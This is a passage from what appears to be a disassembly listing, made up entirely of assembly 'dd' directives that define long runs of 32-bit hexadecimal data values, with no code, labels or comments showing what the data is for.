0A76017C4h, 730102A3h dd 0BB66FF6Ah, 5BCC77F1h, 0F44F725Dh, 691F95B5h, 28801C91h dd 37F18811h, 8C0C4604h, 44C1513Ch, 277F1005h, 14088420h dd 10120E3h, 0AD0FEF81h, 3FFC1213h, 0A84FE99h, 9571E4DBh dd 34EAAD05h, 3AF87BF3h, 63E8D680h, 0F01C274h, 9D0BC8B6h dd 0D4691D19h, 8B0FC8Ah, 66240461h, 0C995093Ch, 616B7610h dd 0D0A85BDh, 0F159216Eh, 0E0E5DDDBh, 580CA120h, 32C82B4Fh dd 550D65B9h, 28A2D1h, 0CEC327AEh, 276D0E4h, 7E233955h dd 7CD1DD8Bh, 0F1850103h, 0B43F7622h, 2251AF02h, 0D18D8984h dd 20F680C9h, 0CFB8B469h, 86AC9A0Eh, 469DC002h, 0FB39EC4Ah dd 0A307FC30h, 0B40A409Bh, 6B6502C3h, 0D03B5916h, 5211A484h dd 28815305h, 0AE8165AEh, 0D3349B09h, 98CA6A1h, 897933F9h dd 0AF298488h, 4BC0A610h, 95EA4700h, 0A6F5162Dh, 0A5832835h dd 8AFE0B24h, 7C4489FAh, 85B5090Dh, 27C28903h, 0D834B18Dh dd 0BD229F18h, 856A95F3h, 2DB09366h, 0F6D10FDh, 49601CE4h dd 0DC018C2Ch, 4D1FFD3Dh, 73D8BF55h, 290E0CBAh, 0B9B5AD8Dh dd 0DB07AA27h, 0CB16D090h, 0F9841200h, 640941A6h, 0F5C8A1DBh dd 7898CBA7h, 0FA14F8BBh, 25BC0C3Ch, 6764FCh, 0DB3D1A8Fh dd 32353495h, 5D2D5202h, 0D6E8FCB1h, 881D8015h, 56A7246Dh dd 0C9B3600h, 0EE39D653h, 0E9C60D8Dh, 2A7AE1FAh, 2B14C6A2h dd 4179F7C0h, 3AD2E11Ah, 8A00106Eh, 4655B5E7h, 3E01F3B2h dd 33ADF8E3h, 4C80D1C2h, 4E983D0h, 6D9DF475h, 58A0CF7Ch dd 0B874C138h, 35C80F62h, 68000B22h, 880D7BB5h, 417A2BE1h dd 8BA4B93Fh, 0AE27132Ch, 5E17157Ah, 7E57B0D4h, 9CCEAB17h dd 0B45044B3h, 9C509ACDh, 8026DCC2h, 0D501F0F8h, 0C28B50F1h dd 6F0318C8h, 2A1D08C1h, 5819CAB9h, 0DC09D633h, 743EE380h dd 8B07DC4Dh, 69A1B392h, 0E25EC722h, 803251BBh, 1538AEBh dd 69BF49BDh, 286B8682h, 142CC4E6h, 5F011717h, 0C6BE9F01h dd 0A9E9E0EAh, 4558218h, 9D209025h, 0B8810D79h, 16A2E266h dd 9FE9133h, 8DEFAE82h, 0AAE88B6Bh, 0A8791BF7h, 4F4F9EF4h dd 0DA042B7h, 92762707h, 0A8B6F195h, 21255FC7h, 10A8113h dd 6E3BE1FFh, 0C8A10BB6h, 0D9B00598h, 11159D04h, 2A051C31h dd 4700717Ah, 744FB07Fh, 0A829019Eh, 0C13C318Ch, 0DE442AD2h dd 85EAD850h, 2F082641h, 4A1A9003h, 0B0FAA7A1h, 0AD9E698h dd 699D011Ch, 0C6E894BBh, 90AC6C80h, 2A5C9947h, 5BD80B55h dd 2E179860h, 3BC701B4h, 5EB7F26Ah, 0D7127B4Bh, 6D053F6Fh dd 0FA950975h, 0E1805345h, 8CF0D4B6h, 0BFA0C90Ah, 0CFB501ADh dd 28F14032h, 402C860Ah, 0EF604630h, 5335B7h, 32F05B29h dd 0E2441EDFh, 9D4E6FB8h, 0BA6FC985h, 908B7938h, 0CA718D0Fh dd 46F70Fh, 85335C3Dh, 98195EB5h, 9010F70h, 9237AD0Ah dd 0E22F9087h, 90FD9771h, 0E70382A8h, 0DB99C63Dh, 0D1CD80F1h dd 0E139B031h, 0CAB612Eh, 0A424C8FEh, 345AEF0Ch, 0B06AC580h dd 6B85174Bh, 55C095Fh, 0B727C5D9h, 0C671276h, 0B7492185h dd 7368FC03h, 10C62218h, 1F81FAF2h, 3996EB8Ch, 0F9B839A9h dd 8DE8400h, 0B3C1E445h, 177A9890h, 53827CBh, 0A90DADBAh dd 0EAA5ECF8h, 858904BCh, 0BE18BF99h, 0DBC0729Bh, 0E922EB0Bh dd 0FC024725h, 0B01F417h, 532CB680h, 0BE28E676h, 0C0F9C09Fh dd 890D1A3Fh, 8A07EA1Ch, 73E40B7Ch, 6A33F65Ah, 0CD911A7Bh dd 3B87FDB7h, 1804C7A4h, 2D647BBAh, 0D6EA1070h, 95B5358Bh dd 311C0A97h, 0C458957h, 3F4427Eh, 4B60021Eh, 5A101627h dd 89352D7Dh, 9524FE04h, 9A4B078Ah, 649F8245h, 77E05DE1h dd 45B4689h, 0DA90679Bh, 0E45EAC4Ch, 99EC2BBBh, 6096B7C0h dd 2C2C1BB8h, 11C54597h, 7FFC4A02h, 0BF052748h, 0F6964BE3h dd 0F58E00Ah, 82DF5EB7h, 0DEDE3D18h, 0FF3B1891h, 0E88620C8h dd 3F63D04h, 8EF01F4Eh, 8EB28B0Ah, 0E684185Dh, 0BB50012Ch dd 7310281Ah, 7581BF8Bh, 32E19CB0h, 50196085h, 3A2EB352h dd 5383310Fh, 585A5F5Bh, 9E05608Bh, 9785C981h, 23519606h dd 8BBF07A1h, 640CD483h, 7EDC8D8Dh, 527246Eh, 3384AAD9h dd 87A171BDh, 0D83ADBFEh, 280E3625h, 45F9E599h, 0ABD94E19h dd 5B5DC120h, 13EDA207h, 682920C6h, 3C6A3Ah, 9D430B93h dd 0AC9FDEFh, 0E19BD2Bh, 2474A19Ch, 0CE3100A1h, 85C77893h dd 5CAE62B9h, 0B291D42h, 4BB27208h, 272FD226h, 0BDC87ECh dd 56EEE912h, 0B8AEADB4h, 24FF73B9h, 0F25FBA6h, 30637CCCh dd 4483110Ch, 0E8C10198h, 0ED4107Ah, 124C3F8Ah, 0E4D05803h dd 0DD36EBE7h, 6443E036h, 1B63E19Eh, 28293450h, 58180C21h dd 57D00113h, 2693901Bh, 4D08BDC0h, 0B99D8934h, 0B6D16BE2h dd 0D8012E00h, 0F7E65Eh, 6E8CF65Bh, 0EEC6F854h, 388D1C25h dd 0E9B78522h, 4371C348h, 3A4C41Dh, 3117AEAh, 6DFC88B6h dd 996610B0h, 5FE5123h, 0AA6EBB33h, 0E5712801h, 20D4CF80h dd 1040E168h, 1288250Fh, 72E1EA7Eh, 8DC47D2Dh, 644B9C53h dd 3F4AD55Fh, 1B23EDh, 0BDD3A2C9h, 0F02CF3ACh, 1060A6BAh dd 7D4BBE2h, 0DD58AF41h, 0B9EFF79Fh, 0C72D1B02h, 4E18C5Fh dd 0F1BD1303h, 3408212Eh, 0CD6E2F24h, 4987B100h, 414CB8EBh dd 4FB57756h, 7C2A4AC2h, 0F504F35h, 138D31FCh, 93890951h dd 1C26D883h, 2C598519h, 2F02F66Ch, 0E09B0A27h, 0BFCE9B3Dh dd 0CA7A51D0h, 1C90B5A6h, 36300DC9h, 0D8493C40h, 27AA0116h dd 0DC79FDDFh, 89482058h, 0C48687A0h, 0DB8135C0h, 4FD92146h dd 9A687461h, 16C0C0ADh, 9FC0262h, 1EE3BC2Fh, 0DF07A081h dd 0C29420F2h, 2AF0044Fh dd 200C41A5h, 0FA7AB77Eh, 0B320500Bh, 581C024Eh, 0C9D4FAD4h dd 0B85DB8AEh, 25D479h, 340B463Ch, 41158113h, 9CC49E00h dd 0AB764E92h, 0FF470586h, 0B831B529h, 916595E1h, 0F8C759F4h dd 0B3704AC9h, 6B4A510Bh, 0F780E8D0h, 6BCDBEA6h, 527059D3h dd 54C11D98h, 66264135h, 3033A259h, 0F980133Fh, 0E504F96h dd 0F6D789F3h, 0D122E1C9h, 0A537530h, 0FE8BDD45h, 961CE8Fh dd 884244F7h, 10729D0h, 3C8DF3BBh, 65813062h, 5E11EEE1h dd 2D375FA5h, 929A9D00h, 3C4F576Ch, 778281B5h, 501C5C1Fh dd 0F40FF4F1h, 0B249AF98h, 60A3FF56h, 8C91A200h, 5CB2B913h dd 0E1375E6h, 0FE3399B8h, 26B5C8E8h, 0F1240087h, 0AB83019Bh dd 4A0AC79Dh, 815BF453h, 0F8F781C0h, 0A0D0722Dh, 80043982h dd 0A305BF60h, 910F537h, 481986C6h, 0B9A42F61h, 3FA8A2h dd 8C7CB299h, 718D010Ch, 84442C4Ch, 2FE60DCDh, 11758A00h dd 73B89833h, 0D9E7EE01h, 0FC617763h, 5D6D042Bh, 0D1020A28h dd 9043C11h, 0C8186585h, 27D74958h, 5F8B386h, 24C212E4h dd 2D7AEFC6h, 0B64B8D16h, 736E5869h, 0F9C22341h, 252B9133h dd 0E97F489Dh, 0F3F25BA7h, 7A6A5F90h, 5584704h, 7495822Ch dd 1BCFEEE8h, 43342FF9h, 394304FFh, 11E91013h, 3060182Dh dd 6880ED7Ch, 0A624505Eh, 3F2191C0h, 0E4B40075h, 9BB32C96h dd 0BA05D2EBh, 5FF4B5A4h, 0F70E81AEh, 47E206Ah, 0D09B244Eh dd 0CE4BA81h, 63E14460h, 0C14A899Bh, 0E62BE087h, 1098BEh dd 332BA79Fh, 2187991Ah, 54D1F4C2h, 788AFB19h, 0E33DC667h dd 0DEA78028h, 95892C49h, 1ED19719h, 50A098AFh, 0FD8E67B3h dd 6090B931h, 0A4A810Fh, 0C62E29Ch, 505EBA8Ch, 9513019Eh dd 0A3240B7Dh, 89C202B8h, 0FAF6058Dh, 9FF26625h, 0FE1D3137h dd 0C7707800h, 4A80FB67h, 14E4E0C6h, 105CDE82h, 0D1FF161Ah dd 0B14A7BBCh, 1E282EE1h, 7A6FE15Ah, 5F5B01E8h, 94E0E33h dd 8903CC60h, 69929402h, 8A3093ABh, 4CE3498h, 9A807FD7h dd 0F404A827h, 0ADA1C252h, 621D672Eh, 0FE2228D5h, 0DB201C0Ch dd 40F29E54h, 36FE765Bh, 722C733Ah, 0E32F15F0h, 7391FB01h dd 92D0C0D0h, 0E9E81A62h, 28710923h, 7927BBA0h, 5E053A13h dd 9402D4C0h, 0DCC686F8h, 0C1E65C3Fh, 2A41B509h, 942B0289h dd 92D1ADF2h, 60F32200h, 95800F69h, 0FE9287D1h, 0A84CD3E3h dd 0EA706A27h, 0E92B5954h, 8A983AFFh, 0C1A50289h, 7F16D7DFh dd 77BDDAC0h, 0F9448B03h, 0C77BA8E6h, 119F7369h, 31D9490Ch dd 259546B0h, 75109023h, 70E61724h, 854A88h, 3BFFA1B1h dd 5A4984E2h, 62E8E44Bh, 8818D5C0h, 5E004D9Eh, 0FA8C22C1h dd 7DF0A6B6h, 12DA7597h, 0E45FDF8Bh, 988C8C5h, 0E31D4D8Dh dd 0B3C1C14Ah, 18B62B7Eh, 202B3E51h, 0C99FBBC6h, 0F0132326h dd 70F9C837h, 0E4F55FC1h, 25449D16h, 81C8002Bh, 1BD39D7h dd 0D1048B59h, 49B58952h, 0E95B9391h, 0F92C3562h, 3BCB2D6Bh dd 56962DFh, 7255264h, 24C0C457h, 62EEC36h, 205B8A14h dd 9D19EAB0h, 86CF11C9h, 0B312FA3Dh, 109EE462h, 3EC1BF88h dd 0E9133555h, 0E1D88841h, 0CD2A2041h, 516341ECh, 9D622E2Ah dd 0DE919826h, 14A6E666h, 1CA583BEh, 1257FE12h, 315DE54Fh dd 0AB206E28h, 257911BBh, 9ACC31DEh, 0BDE1BC20h, 83C11D6Dh dd 0C7F93F5Eh, 5990F220h, 0A64C1A02h, 5F9D610Bh, 46D66E76h dd 1B4E0517h, 9814BE76h, 0B99840B2h, 0BD0DD22Fh, 1C7902DAh dd 0A482CC06h, 955C0ADCh, 823EBB01h, 86231316h, 0A280B700h dd 6CF5B4E4h, 0FC4D01ECh, 20112DEFh, 6DADF705h, 9BC04F2Bh dd 4D6380CAh, 0D49BB51h, 5B700AB5h, 58922AECh, 80D890BAh dd 8F8D4BDBh, 0DD745089h, 239E105Bh, 894B897h, 800CE97Ch dd 1481B0D1h, 0CC021692h, 5F1D4AB1h, 2D935C85h, 8D0099BDh dd 0D97379DAh, 6B2EFD27h, 12142398h, 4A8AE310h, 49D369CAh dd 4C3D25DFh, 8F4CBE82h, 0D4097569h, 5A442859h, 7BE78140h dd 20E3657Fh, 0FC1CDB17h, 0FB2DB88Dh, 98DF803Dh, 7C1F66C4h dd 0CEADEB09h, 0C9347EAEh, 23921959h, 59131209h, 336DA7EDh dd 85042245h, 0DC142F15h, 0B26DA912h, 41A85F2h, 0F301F87Bh dd 6E136B20h, 6655C291h, 2E8D00AFh, 6770D853h, 6E0F81CAh dd 4F5B1D37h, 2FF1CB01h, 0AE21266h, 6E85EC8Dh, 560A2682h dd 0A5A371EEh, 0DEA15C26h, 7FD02302h, 77DF4983h, 772FA710h dd 36A40D06h, 0F8AD89h, 985D6A0Ch, 8804E5B2h, 0F8604A14h dd 89E8C0EDh, 1CA7BBFh, 327EB85Dh, 0C89C6FADh, 3254DB5h dd 56FB6226h, 0CF17DCCFh, 1C043110h, 8D1221C9h, 2122B03h dd 0AA80B8DBh, 7B8B8C29h, 0BBDE7601h, 3EEE8D03h, 120D482Eh dd 40E5ED6Bh, 14F31061h, 906AF3BEh, 99AA1A02h, 57905536h dd 207DC3E1h, 96112E12h, 34FE2B3h, 0C9EB8113h, 3F3409B9h dd 4F1C6h, 310F5B56h, 585AEAB7h, 0A550ABB5h, 0AEE28A74h dd 0B1D0E301h, 0B5F8182Dh, 5EAC1ECEh, 0F581F3A0h, 7A3BB700h dd 0D62A9CBCh, 0EFE80002h, 68B4735Eh, 402DFD3Ch, 6689627Bh dd 14EE9F24h, 0BB8ECD60h, 0E56F3668h, 0E83298B2h, 0C98A10h dd 0AEEE08E1h, 5A802C9Dh, 921635C1h, 6102379Ah, 0C309E07Fh dd 7B5F28FEh, 9530BA0h, 4EEE64C9h, 0D47B94h, 4E550DAEh dd 3641FD37h, 0F88BAC12h, 0E94FBDB3h, 7049CFB3h, 908FE912h dd 0F95BB3Fh, 7D729A95h, 12097004h, 0DB5E5BA3h, 0E5E893EEh dd 0B5618688h, 0A80412BDh, 27E69664h, 67A255F0h, 0F7A4EC04h dd 42F09D39h, 87BB9525h, 1041D81Ah, 0F367800Dh, 499CA8BCh dd 0B8E734Fh, 0DBE0ADA9h, 0B7BD4689h, 91A0834Bh, 0CDE8E362h dd 6D197E2Dh, 7DFC60CAh, 0B9669F81h, 6E610746h, 18161025h dd 0FF866C9Bh, 2169FCD5h, 0AF3C51E5h, 0B8C08C6Dh, 5B852956h dd 687A80A9h, 4C2DEAD0h, 0D5330AF0h, 0D2192F02h, 709BFB0Fh dd 701643F0h, 8AE11BB8h, 8140302Ah, 501589CFh, 269043F4h dd 6DAF0FFAh, 2F3CC07Dh, 0FC0A1B7Ch, 9753BF66h, 0A9086D88h dd 718BA8C8h, 0C0614AE1h, 0F4DAD99Bh, 0ED2D2AEFh, 0F205C52Bh dd 0DE358927h, 23EF608h, 8BD801BCh, 8EAF87A7h, 669AC88h dd 2D39512Fh, 0F0F98D9Ah, 601C26D7h, 55A05B79h, 4BDF833Bh dd 38096AF0h, 18DC01BDh, 45C85E0h, 671AC487h, 300E7DC0h dd 86262E72h, 0CED09D1h, 27C20659h, 0CB86D604h, 10607054h dd 905B31BEh, 0C038B683h, 0CFDC01CBh, 0D68D1B4Ah, 41B98360h dd 62800D05h, 0C91E0947h, 0AED0533Dh, 7E09D47Ah, 829DFF33h dd 0B0DD131h, 198BEE6h, 0CC24B127h, 1AD99782h, 0BFF88312h dd 0C196809Dh, 0AC9E592Ah, 0AE58CA0Bh, 5B5DB167h, 887E50C5h dd 220B2AF1h, 6434C727h, 43520608h, 0BCF9891Ah, 0B79F24FAh dd 20770043h, 43D8CC0Fh, 4197C0E4h, 0DEAF526h, 42D16EF0h dd 0C94DD88Ah, 0F16F3Fh, 254E891h, 13D326Eh, 0FBBF3B63h dd 2B6DBD11h, 0BBBD2835h, 0F601D7B8h, 6B231420h, 373071D4h dd 1994907h, 398C1BB8h, 3B02FA33h, 0BFE2ACF6h, 7D9F982h dd 0B3E26B56h, 492856FBh, 8998B7FDh, 4B85F8CEh, 0B70F944Dh dd 0ACD14915h, 0C7AE0978h, 0AB845945h, 133EACD9h, 52BF9D29h dd 2A39A1A0h, 9F043734h, 39AC394Bh, 0C40FDE5Ah, 0D5826D53h dd 2993A71Dh, 8A022D62h, 41093A68h, 79EC7318h, 12321817h dd 0B7FE1146h, 0B5DA5F36h, 74DD9780h, 0DC1D1194h, 0E500EF81h dd 23603F50h, 6D12D8Dh dd 2EA15DA2h, 0E4380B0Bh, 59BE0042h, 968354Ah, 0B62CCCEDh dd 9E0B7690h, 72C6460h, 952C20DEh, 81002E1Fh, 0BF4DB9C4h dd 726C9F0Eh, 995E692Ah, 0A2303007h, 594B1249h, 82FF2461h dd 9EB2D9F2h, 0B2F8DF02h, 0CD6B5156h, 4EA1C0B2h, 136FE80Bh dd 190E317h, 2FC7C8AAh, 9A570091h, 1C2B3264h, 0D2044058h dd 5FF88F71h, 35A284ACh, 0CD958921h, 0BC4AF768h, 7C57261Dh dd 61EA8A06h, 1AED9DD5h, 90DE5CC0h, 6B430A19h, 0E28AC2B4h dd 5856DA8Bh, 2BDB76Bh, 0C0617301h, 0DDA60A41h, 0A0A3754Ah dd 0CDB5375Ch, 505DE01Ah, 0BCC4BFE6h, 2F81777Bh, 742B172Dh dd 0B8E8ED75h, 0BF054896h, 958C927Fh, 48448414h, 0A180EEF9h dd 0D863601Fh, 0C604EB00h, 0C9864532h, 9BB53507h, 8F72B866h dd 279A5661h, 4EF6D6D6h, 12FFE898h, 0B2B0A80Fh, 0CBF84A8Bh dd 80286F90h, 0D4E9BF6Fh, 5AFF71F3h, 9B7C13B3h, 825F822Ah dd 88B8D5A5h, 5482191Dh, 8F7CA58Dh, 0F64600F4h, 3C150AC1h dd 72942D56h, 30F09013h, 71C883C2h, 44E8C6Dh, 0F9608F0Bh dd 0EB803DECh, 0C7E5879Dh, 0D400E4C2h, 6BB16FB8h, 73B66072h dd 2616405h, 84B28490h, 9B9FBFB4h, 4055B780h, 1B073A29h dd 0B4270982h, 35C5F93Bh, 14466F56h, 9A977E9h, 5E1963F2h dd 0CE248942h, 80BFBD5Dh, 7DB189C2h, 6155F9D9h, 418128ADh dd 0D94C7CAEh, 0B250FE16h, 0B3901EB7h, 0F57B78D7h, 13FED390h dd 4887FC81h, 3945B509h, 2A6AD259h, 5B2DF109h, 181D79D2h dd 0C1B500BBh, 0F299FF4Fh, 0D276D984h, 3720D15Bh, 2F676FBEh dd 5C690D3h, 45D11495h, 0F1FC60AAh, 0B801240h, 26AD3E7h dd 5570D6D3h, 282704FDh, 82E1B350h, 0EA29991Dh, 4210F559h dd 67000AEBh, 880C8204h, 0A05F5B62h, 25BF66DBh, 947C1981h dd 3F1946D4h, 9565057Bh, 0FCAF09Eh, 8F6A4Eh, 0CF8CAD11h dd 58BC494Eh, 0F82DC2F5h, 85C19A74h, 0E900156Dh, 16970DADh dd 80FC4821h, 76E8ED59h, 4CED890Bh, 6DD47464h, 0C55CF20Ch dd 0C01ACD2Fh, 0EAC15688h, 8F60F09h, 0E9615CF8h, 54ADCDB5h dd 0D6D58F92h, 9501BEA1h, 510A2B05h, 0C43B9C90h, 125A38BBh dd 0A7F2712Fh, 4899904Bh, 1D11A141h, 0D842292Eh, 83ABA5BDh dd 0C6D93C25h, 0E3BB033Dh, 6A575AC7h, 0B918A9E4h, 0C1E4D43Fh dd 2E2E0DF6h, 38A0C9E7h, 0C0BFD825h, 810AB126h, 67622E5Bh dd 6F642946h, 0F7426E07h, 0F8928817h, 8315CB0h, 0E6051125h dd 831E5170h, 5F252250h, 0A1965FFEh, 182563AFh, 4BC75D4Ah dd 24FC8B95h, 8077A8A5h, 0AF920F1h, 0D1CB593Dh, 0E237EF12h dd 5081595Bh, 5417D7Ah, 9BBC430h, 44D9919h, 0FC456170h dd 0A13680DAh, 37D431h, 697B34B3h, 6B27868Bh, 0F518D809h dd 401A5CE8h, 70374B50h, 0C72D6C00h, 3106CBDAh, 5B380133h dd 8529C82Bh, 0D7436F95h, 0B28B9BDh, 0E9F8D10Dh, 81C25474h dd 9DC20E27h, 851002E5h, 191BD18Dh, 0E0F50070h, 963231D7h dd 5E04CBF2h, 4B5BDAB7h, 9D2742AEh, 0A55C0FC1h, 9A013CB8h dd 56123389h, 2624918Dh, 7125B860h, 232F40DCh, 32005F54h dd 15A830C4h, 22BB4D2h, 61FC2D4Eh, 0B7993EE9h, 98C6FDFh dd 9C1197F8h, 0A385082Bh, 85A5FA61h, 0E102FE16h, 0E2FF3FD3h dd 51790414h, 3A31CDFBh, 975F1BCCh, 0F145A130h, 0E63D9Fh dd 0D19BA1F5h, 1095A84Ch, 0E3FE31h, 39752260h, 0B7EA383h dd 91030C74h, 0D21D2F63h, 0F470414Ch, 0B67CB2Ah, 2265BD2Bh dd 0CA82B9B2h, 0FA55802Ch, 973E5F7Ch, 0A874790Bh, 8AC504DCh dd 0BC031440h, 0CDFC25C9h, 2E51C27Ch, 0BBFEFCE0h, 2D1FD304h dd 5FF8B866h, 1211A5C4h, 0F5A830EBh, 4C3AAA0Dh, 8949805Bh dd 59C912CEh, 545F7AFCh, 97DE20BAh, 5CC4961Eh, 60A702C5h dd 0BBE0C1A3h, 0CE16D18Dh, 0E9F88FAAh, 0AB950F20h, 79D3DB8Fh dd 58DFF0A0h, 498D4713h, 46F7ACDh, 0B8BDB23Ch, 0C781DE78h dd 3180CEE1h, 0D2E7CB2Ah, 0CCA9BCE9h, 101351B9h, 61FC7B03h dd 2838809Eh, 0A68CCE9Bh, 0B6107E0Fh, 0CB5545BCh, 0C7AAC8AFh dd 94D05200h, 686EB86Dh, 29BC0C58h, 5BC3B595h, 58B731E2h dd 47CFB7E1h, 0AB477241h, 0A79C9640h, 0CA14975Eh, 0FA314B68h dd 0ED9200DEh, 0D25209A7h, 57B05F7Bh, 57DCCD59h, 0F5F54A5Ch dd 0BBD8352Bh, 0C8014CCh, 0E1FF31CFh, 95EC92Eh, 20B14776h dd 564E045Fh, 7189FC87h, 4684284h, 42024F5Dh, 3C51BFFEh dd 4182380Eh, 0F7EDA22Bh, 928EC2EEh, 406C7EFEh, 0BC33F5E5h dd 0A83C0700h, 1480B9E1h, 5A6505C3h, 87AABFB2h, 9D3311B6h dd 0E1B578DDh, 0ABA0D686h, 1E912081h, 0A76E605Bh, 6280DE38h dd 0B766ACFAh, 8A2522F2h, 82AAC2D9h, 5526E1CDh, 0C29688BFh dd 565588h, 0FCE46AFDh, 8F5BDE29h, 4BB20E00h, 32F77749h dd 2F1A972Ch, 0FDD57586h, 9E975F4Bh, 3B8BAF08h, 0B5A575F3h dd 471304D9h, 0D28EB8E2h, 0E78074DBh, 0E9F1E276h, 0EADCA31Ch dd 6BF1DBAh, 50626885h, 32FCAD12h, 7E66F98Dh, 68517000h dd 127B96C6h, 97800F9Fh, 0A347E163h, 0E854F231h, 96D390Fh dd 0DC8CFE60h, 9BFB4003h, 0AB683753h, 8AF7C023h, 773A97FEh dd 1FD4317Eh, 4A36A995h, 10A3013Ah, 77D94A26h, 0B3C57FF2h dd 7AD82D00h, 1730CBBh, 0F1392302h, 0C80BF796h, 59028EE6h dd 0E96AAB3Ah, 9FAA1A8h, 55CE8995h, 1491FE37h, 0CFF63C8Bh dd 25327425h, 3DDFA862h, 5588803Dh, 29B9C5Bh, 0A534BB3Ch dd 9BB1045h, 0D49F02B7h, 0F814D235h, 5513B855h, 66028507h dd 7875F5BBh, 9DAC840Fh, 0BBE1626Dh, 9C300B7Fh, 0C4408233h dd 6E950C01h, 196EC419h, 92B3B922h, 0F8097DAh, 23C0EDB5h dd 9D897704h, 0B3162F81h, 0A16700F6h, 0D0210A55h, 74F0034Dh dd 0EBC69F19h, 0B6BF898h, 0F60DB0Dh, 51C23182h, 807D1FFCh dd 27E95DD5h, 0CA099DD4h, 870C9A2Fh, 0C6FB2157h, 86A58070h dd 0F78102C6h, 7063BE7Eh, 46D6C35Ch, 997D001Bh, 9ABE0BE0h dd 0BF7201F5h, 48633D0Dh, 38EE2060h, 3EB85Dh, 6861C225h dd 4B237BE2h, 2CBB3D3h, 636BC3BBh, 1DF4483Fh, 2CFB0088h dd 0C9ED8060h, 0D55EBD89h, 4A97612h, 9D56318Bh, 8FC45044h dd 235231AAh, 1393567h, 2E06E1E9h, 5661A771h, 0C09FD52Ch dd 2C6585B0h, 48049668h, 5BF5C3A4h, 2D2B15B1h, 0F00866B1h dd 763B1CFCh, 475D1729h, 0C078305Ch, 6010EDBh, 35DCC45Eh dd 0DD40EC6Ah, 975F5C20h, 50690614h, 5410DF39h, 3013933Fh dd 79AFBCC1h, 907B1014h, 0D005E21h, 25F34F05h, 2F438CE1h dd 0E94AE95Fh, 76E52F4Dh, 22E3FD02h, 75005E62h, 784AFBC9h dd 50B50F2h, 70BE4094h, 78C59B45h, 4E0BBA9Ch, 72870FF5h dd 9795980Bh, 0F5693714h, 0EE3C15Bh, 6B4BD92Eh, 0C2093DA2h dd 1C16099Fh, 4141D56Fh, 39B2CD9Dh, 0B2D2BC7Ch, 5BA40293h dd 5E76CC2Dh, 0C781601Ah, 912A4E80h, 0EB7C1646h, 7D02BD12h dd 6A4B17E7h, 62D50715h, 79D932FFh, 0CB5EA713h, 96270C10h dd 29EBE07Ah, 726B8FBh, 62973AFDh, 13870B9h, 0A79D319Dh dd 0ABF9BDCEh, 59BCDB2Ch, 7D2F181Dh, 0A40901BFh, 4E856B32h dd 0D6342E67h, 4EBE0EC5h, 59C42939h, 328AB24h, 941A97DEh dd 9456A7CAh, 0DE1774A5h, 13A144BFh, 0F24EC4C0h, 5E2A003Ch dd 0E23F9840h, 0A9227A0h, 0BDFE281Ah, 0E4ED0F9Eh, 0DC10958Ch dd 5B009EEEh, 70D7694Fh, 13534BCCh, 6C3767h, 0ABDCC10Ah dd 0B97615Fh, 0F595059Ah dd 0A0AC8E94h, 0AD10F8D0h, 0A2C44A12h, 0F80BB9Fh, 0EE2329ABh dd 0C6515712h, 8224A412h, 9E8460EBh, 8BFF970h, 7C69FF15h dd 1412DE2Ch, 0CF3017A9h, 221182h, 0A73ECFFCh, 718D2940h dd 0AAB648B2h, 21846D6h, 333A91A8h, 65985FFBh, 0AB979589h dd 303D4054h, 0B79612EFh, 1E33EC77h, 33136BFBh, 3D241509h dd 8216117Ch, 6A5A0B5Ch, 48066889h, 0A83A97BBh, 0AD507CFBh dd 0FC603822h, 91C561A5h, 0B5317827h, 8E0A34Dh, 0BAD88A50h dd 60228D9Bh, 33BBF5C7h, 3B1F5315h, 0F8D45DA4h, 0B5BD3D03h dd 0C59060C0h, 0FBC9815Eh, 61E4497Fh, 0F8BCD71h, 4B23338Eh dd 0E57CE788h, 0F09B4ADh, 0A672D8B7h, 0D0ACFB9Fh, 4B5E9CAh dd 0A6B82C3Ah, 0EF8552E3h, 23005A7Ah, 0FF788505h, 3C984748h dd 0B5AEBA95h, 713884E7h, 5308FB95h, 52C61311h, 0D2B0B27Fh dd 0E3E048A6h, 4B002F21h, 8137E2B4h, 4BE94851h, 8BD08144h dd 0C02C5AC1h, 99B6F7DBh, 7AB2ECABh, 0BE214DEEh, 0F94B1820h dd 7AEBD095h, 0AC512647h, 8A270211h, 56AFDF74h, 8E49604Dh dd 0F45B917Ah, 9526B486h, 30534D11h, 1040ED43h, 876FB55Bh dd 47B7A140h, 20E52ED6h, 14F90895h, 0E0EB8009h, 0C551B723h dd 0AA740BF4h, 0A841D9Eh, 0EB57840Fh, 0B84EC9CAh, 0EB04965Fh dd 1D85DFBFh, 0ACFED4AEh, 3FB64AD3h, 0F599C4E3h, 0C578AD07h dd 79580038h, 0C2698E1h, 4C1BEC01h, 4EBF76FAh, 4FA74FF0h dd 5B6EE350h, 90D390ECh, 0F95BBFD1h, 6ADF8B12h, 65BCD2B9h dd 0D3806200h, 81F88B5Dh, 8F760BEFh, 0C256219Dh, 5218A588h dd 0AFE065CDh, 93AB6E6h, 71EDCC92h, 6B0393C4h, 3175AA4Ch dd 0AD5F9840h, 0A43E027Ah, 473DEE69h, 1B5994C2h, 5FA27E85h dd 9DEF60ABh, 0ABC916B9h, 7381FBD1h, 69F87FBBh, 0AA2D0F6Eh dd 5E81E636h, 4AE0A803h, 9888FCA3h, 5C8D8989h, 26A8B17h dd 0BAE7AA00h, 604F505Bh, 32000FA3h, 7B91CBEBh, 3AFE81D4h dd 60B870E5h, 0D84C369Ch, 7C55C45h, 2AE4D802h, 66575FEEh dd 0FD614E89h, 8D6E4A2Ch, 67B3D800h, 0ACC4AED7h, 759D3309h dd 43216834h, 3C8E2E3Bh, 0F53AD7Ah, 7EE3D8h, 18E8754Bh dd 8A1F7825h, 0E9FCDA09h, 0C219797Ch, 0F017415h, 1BAD0C89h dd 4AF0DD9h, 0E71418F4h, 0ED9637C0h, 3D25AB63h, 64E8CDF9h dd 73D46019h, 122519CAh, 0D6B5726Eh, 5BA89004h, 97A0688Fh dd 20B440Dh, 0FCCECB01h, 0C8B707FBh, 30BFFC40h, 7ED713F4h dd 8FE2DB90h, 0A4B5E041h, 4B12631Eh, 3B14D94Ch, 258D84B4h dd 17E509C9h, 0E822BF01h, 9D6B420Eh, 0A8216D23h, 590D0EEAh dd 0CD400BBFh, 14CEF26h, 8D94BD5Eh, 0FFF980AEh, 39C013E8h dd 9F0E1205h, 0CF073DA5h, 47F77280h, 0D2AFD96h, 0E1A6190Bh dd 2619774Fh, 9584705Fh, 0E9055Bh, 6D1252E8h, 29B237B6h dd 4A39984Bh, 242E5C8Ah, 930C10B5h, 4D1061BBh, 70E60116h dd 46141CA2h, 1A3D1087h, 0E71E414h, 49952981h, 4A322F0Ch dd 0CFD0290Bh, 7E4D0997h, 377B4088h, 0B00011A0h, 0DF217341h dd 